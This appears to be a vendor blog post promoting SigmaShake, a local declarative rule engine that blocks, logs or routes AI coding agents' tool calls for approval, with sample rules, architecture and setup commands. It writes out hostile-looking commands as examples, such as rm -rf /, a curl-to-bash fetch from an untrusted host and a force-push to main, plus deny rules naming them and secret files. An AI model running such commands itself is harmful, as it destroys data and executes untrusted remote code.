- Case ID
- #4031
- Severity
- INFO
- Decision
- BLOCK
- Agent
- All Agents
- Category
- Governance
Correction note (2026-10-13). An earlier version of this article described a Zig/Rust native engine, a TypeScript fallback, a permanent circuit breaker, a 3-command loop guard, and fail-open behavior. The shipped engine is written in Go and the hook fails closed by default. This version describes the shipped behavior. The per-call timings and latency figures that appeared in this article had no benchmark behind them and were removed. Sample output in this article is illustrative, not a recorded run. The only published measurement is p50 0.39 ms and p99 1.91 ms (sigmashake-bench daemon-socket run, 2026-06-10, ssg 0.29.156, n=500). Sub-2 ms evaluation is a design target. The local audit log records decisions on a best-effort basis: entries can be dropped if the daemon queue is full, and old rows are deleted at the row caps. It is local, not append-only, and not immutable. The init adapter ids are claude-code and copilot, not claude or vscode.
The Permission UX Is Broken
If you've shipped code with an AI agent in the last six months — Claude Code, OpenAI Codex, Cursor, VS Code with GitHub Copilot, Google Antigravity, Aider, Windsurf — you've encountered the same friction point.
The agent wants to run a shell command. You get a prompt:
Claude wants to run: npm install zod@latest
Allow? [Y/n]
You press Y. Then it wants to edit a file. Y. Then it wants to run a build. Y. Then it wants to grep something. Y. Then it wants to write a test file. Y.
After the fifteenth approval in two minutes, you do the math: the agent is generating value at 200 tokens/second, and you're the bottleneck at 1 approval/second. So you do what everyone does — you flip into YOLO mode, auto-accept everything, and go make coffee.
Now you have an unsupervised process with your shell, your filesystem, your git credentials, and your SSH keys. One hallucinated rm -rf / away from a very bad day.
This is the state of the art in AI agent security in 2026: a binary choice between constant babysitting and complete trust.
What Actually Goes Wrong
This isn't a theoretical problem. Here's what agents actually do when unsupervised:
1. Destructive shell commands. An agent cleaning build artifacts miscalculates the working directory. Instead of rm -rf dist/, it constructs rm -rf /. In YOLO mode, this executes before you see it.
2. Secret exfiltration. An agent setting up environment variables reads your .env to "understand the project configuration." That file contains your database credentials, Stripe keys, and API tokens. The content is now in the model's context window — and if you're using a cloud-hosted model, it just left your machine.
3. Supply chain injection. An agent installs a dependency. Instead of lodash, it installs lodash-utils — a typosquatted package that runs a postinstall script. The agent doesn't know the difference. Neither does npm install.
4. curl | bash pipelines. An agent needs to install a tool. It constructs curl -fsSL https://sketchy-cdn.io/install.sh | bash — remote code execution with zero review, checksums, or sandboxing.
5. Force-push over protected branches. An agent trying to "fix the git history" runs git push --force origin main. Your coworkers' last three days of work vanish.
6. Source map leaks. An agent sets "sourceMap": true in tsconfig.json because it read a debugging guide. In production, this exposes your entire TypeScript source code to anyone who opens DevTools. This exact misconfiguration caused the Claude Code source code leak on March 31, 2026.
Every one of these is a real tool call that a real agent constructed during a real coding session. The Y/N prompt was either skipped or approved without inspection.
Why the Y/N Model Can't Scale
The fundamental problem is that human attention is the bottleneck in a system designed to remove humans from the loop.
AI agents are useful precisely because they execute faster than you can review. The moment you insert yourself as a synchronous approval gate on every tool call, you've eliminated the productivity gain. The moment you remove yourself, you've eliminated the safety guarantee.
Every agent has tried to solve this, and every solution converges on the same inadequate pattern:
| Agent | "Safety" Mechanism | Reality |
|---|---|---|
| Claude Code | PreToolUse hooks, .claude/settings.json allowlists |
Manual hook scripts. No standard rule format. No audit trail. |
| Cursor | Composer approval prompts | Binary Y/N. No conditional logic. No per-command rules. |
| VS Code (Copilot) | Chat participant trust prompts, @workspace scope |
No shell-level enforcement. Trust is per-extension, not per-command. |
| Codex | Sandbox mode, --full-auto flag |
All or nothing. Sandbox doesn't cover file writes. |
| Antigravity | SafeToAutoRun flag per tool call |
The agent decides what's safe. The fox guards the henhouse. |
| Aider | --yes flag |
Global auto-approve. No granularity whatsoever. |
| Windsurf | Cascade approval | Same Y/N UX with different branding. |
None of these give you what you actually need: a declarative policy layer that evaluates every tool call against your rules, without requiring your attention, and without trusting the model's judgment.
Declarative Governance: The Missing Layer
This is the problem SigmaShake (ssg) solves. Instead of approving tool calls one at a time, you write rules:
rule no-destructive-ops {
enabled true
priority 100
severity error
DENY execution
IF command CONTAINS "rm -rf"
OR command CONTAINS "git push --force"
OR command CONTAINS "git reset --hard"
MESSAGE "Destructive command blocked. Use a scoped path."
}
This rule fires on every rm -rf invocation from any agent — Claude Code, Codex, Cursor, VS Code Copilot, Antigravity, Aider, Windsurf. The rule is deterministic (no LLM in the loop), runs locally, and logs matches to the local audit log on a best-effort basis.
The key design decisions:
1. Rules, not prompts. Your security policy is code, not a natural language instruction that an LLM might interpret differently on every invocation. Rules use a typed DSL with operators like CONTAINS, STARTS_WITH, GLOB, and REGEX. No ambiguity.
2. Local evaluation. The ssg daemon keeps rules hot in memory and evaluates them with its Go rule engine. Sub-2 ms evaluation is a design target, not a measured figure. The only published measurement is p50 0.39 ms and p99 1.91 ms (sigmashake-bench daemon-socket run, 2026-06-10, ssg 0.29.156, n=500).
3. Six decision types. Not just allow/block. Rules can LOG (observe without blocking), ASK (route to a dashboard for human approval), FORCE (substitute a safe alternative command), or SHADOW (execute but log silently). This gives you graduated enforcement instead of binary gatekeeping.
4. Agent-agnostic. ssg integrates with every major AI coding agent through native hooks:
- Claude Code: PreToolUse hook registered in
.claude/settings.json - Cursor: MCP server (Model Context Protocol)
- VS Code (Copilot): MCP server registered in
.vscode/mcp.json - Antigravity: MCP server + system prompt injection
- Codex: MCP server +
.codex/config.json - Aider: MCP server
- Windsurf: MCP server
One rule set. Every agent. Same enforcement.
5. Audit everything. Decisions are recorded on a best-effort basis in a local SQLite database with the tool name, input, matched rule, decision, and timestamp. ssg serve gives you a real-time dashboard with SSE-powered live updates. ssg blocked lists everything that was blocked in your current session so you can run the commands manually if they're legitimate.
The Rule DSL
The .rules file syntax is designed to be readable by both humans and agents. Here's a more complete example — protecting secrets from being read by any agent:
rule no-secret-access {
enabled true
priority 95
severity error
DENY read
IF path GLOB "*.env*"
OR path GLOB "*credentials*"
OR path GLOB "*private_key*"
OR path GLOB "*/secrets/*"
MESSAGE "Secret file access blocked. Use environment variables instead."
}
Multi-condition rules with AND logic:
rule no-sourcemap-production {
enabled true
priority 90
severity error
DENY write
IF path GLOB "**/tsconfig.json"
AND content LINE_REGEX "\"sourceMap\"\\s*:\\s*true"
MESSAGE "sourceMap: true exposes your TypeScript source code in production."
}
Redirect agents to better tools with FORCE:
rule use-specific-file-viewer {
enabled true
priority 80
severity info
FORCE execution
IF command STARTS_WITH "cat "
MESSAGE "Use the Read tool instead of cat for structured file access."
}
Require human approval for deployments:
rule approve-deploys {
enabled true
priority 95
severity error
ASK execution
IF command CONTAINS "deploy"
OR command CONTAINS "kubectl apply"
MESSAGE "Deployment detected — requires human approval."
PROMPT "Allow this deployment to proceed?"
}
Architecture: Why Latency Matters
If your governance layer adds 500ms to every tool call, a 200-step agent session accumulates 100 seconds of overhead. Developers will disable it.
ssg is built for zero-perceptible overhead:
Agent Tool Call (JSON)
↓
Hook → Unix Socket
↓
Daemon: Parse → Validate → Rate Limit → Loop Guard
↓
Go rule engine (in the daemon)
↓
Decision → Deferred audit log → JSON response
The Go rule engine uses:
- A rule index built once at rule load time, with a hash table for
EQUALSlookups (O(1)) - Thompson NFA regex for
REGEXoperators, so a pattern cannot cause catastrophic backtracking
The daemon keeps the rule index, database connection, and rule engine hot in memory. It communicates over a Unix domain socket: no HTTP overhead and no TLS negotiation. A nc -U call to the socket replaces what would otherwise be a subprocess spawn.
Built-in safety features prevent agents from gaming the system:
- Loop guard: In the daemon engine, blocks a Bash command after 5 identical calls in a row (prevents agent loops).
ssg evalblocks on the 3rd identical call. - Rate limiter: Per-PID token bucket (burst of 50, refill of 1 token every 100 ms)
- Fail-closed by default: If the daemon is unreachable or degraded, the hook denies the call. Set the opt-out variable
SSG_FAIL_OPEN=1to change this per install.
Community Rulesets
Writing rules from scratch is optional. The SigmaShake Hub hosts community-maintained rulesets organized by technology:
ssg hub pull rules-typescript # TypeScript safety rules
ssg hub pull rules-shell # Shell command guardrails
ssg hub pull rules-git # Git workflow enforcement
ssg hub pull rules-npm # Dependency management
Every ruleset is integrity-verified (SHA-256 + Ed25519 signatures) and auditable via a transparency log chain:
ssg hub audit rules-typescript # Verify integrity of installed ruleset
Search for rules by keyword:
ssg hub search "sql injection" # Find rules matching your concern
What This Looks Like in Practice
Here is an illustrative session with ssg active (sample output, not a recorded run). Claude Code is working on a Node.js project:
# illustrative sample output
[ALLOW] bash › npm test — no rule matched
[ALLOW] write › src/utils.ts — no rule matched
[BLOCK] bash › rm -rf node_modules/ — rule: no-destructive-ops
[LOG] bash › grep -r "TODO" src/ — rule: prefer-oracle-over-grep
[FORCE] bash › cat package.json — rule: use-read-tool
[ALLOW] read › src/index.ts — no rule matched
[BLOCK] read › .env — rule: no-secret-access
[ASK] bash › npm publish — rule: approve-publish → dashboard
[ALLOW] write › test/utils.test.ts — no rule matched
Nine tool calls evaluated. Two blocked. One redirected. One sent to the dashboard for approval. Zero human interruptions for the five other operations.
The agent sees the block messages and course-corrects. When rm -rf node_modules/ is blocked, the message tells it to use a scoped path. Next attempt: rm -rf node_modules/stale-package/ — which might pass based on your rules, or you can set a more granular policy.
Getting Started
# macOS / Linux — free installer
curl -fsSL https://install.sigmashake.com | sh
# Windows (PowerShell)
# iwr -useb https://install.sigmashake.com/install.ps1 | iex
# Initialize in your project
ssg init --client=claude-code # or cursor, copilot, antigravity, codex, aider
# Pull community rulesets
ssg hub pull rules-shell
ssg hub pull rules-typescript
# Start the daemon
ssg daemon &
# Start the approval dashboard
ssg serve
That's it. Tool calls from your AI agent are now evaluated against your rules, logged to the local audit log on a best-effort basis, and enforced deterministically — whether you're watching or not.
The Point
The AI agent permission model is stuck between two bad options: manual babysitting that eliminates productivity, or YOLO mode that eliminates safety.
ssg is the third option: automated, deterministic, local governance that runs on your machine, follows your rules, and works with every agent.
Your agent has root access. Give it guardrails.
Links: